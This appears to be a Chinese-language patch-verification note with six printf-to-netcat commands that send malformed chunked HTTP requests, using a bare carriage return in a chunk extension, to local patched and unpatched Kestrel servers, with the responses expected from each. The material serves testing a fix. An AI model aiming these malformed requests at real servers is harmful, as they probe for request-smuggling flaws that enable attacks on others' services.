以下是可以针对这些服务执行的一些测试,用于观察 Kestrel 已修补版本与未修补版本在 GET/POST 路由上的不同行为。
对未修补版本执行 GET(返回 200 且套接字保持打开)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
对已修补版本执行 GET(返回 200 且套接字关闭)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
无需 CT 的 POST 对未修补版本执行(返回 200 且套接字保持打开)
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
无需 CT 的 POST 对已修补版本执行(返回 400 且套接字关闭(进程还会抛出关于 Bad chunk extension 的已处理异常))
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
需要 CT 的 POST 对未修补版本执行(返回 415 且套接字保持打开)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
需要 CT 的 POST 对已修补版本执行(返回 415 且套接字关闭)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001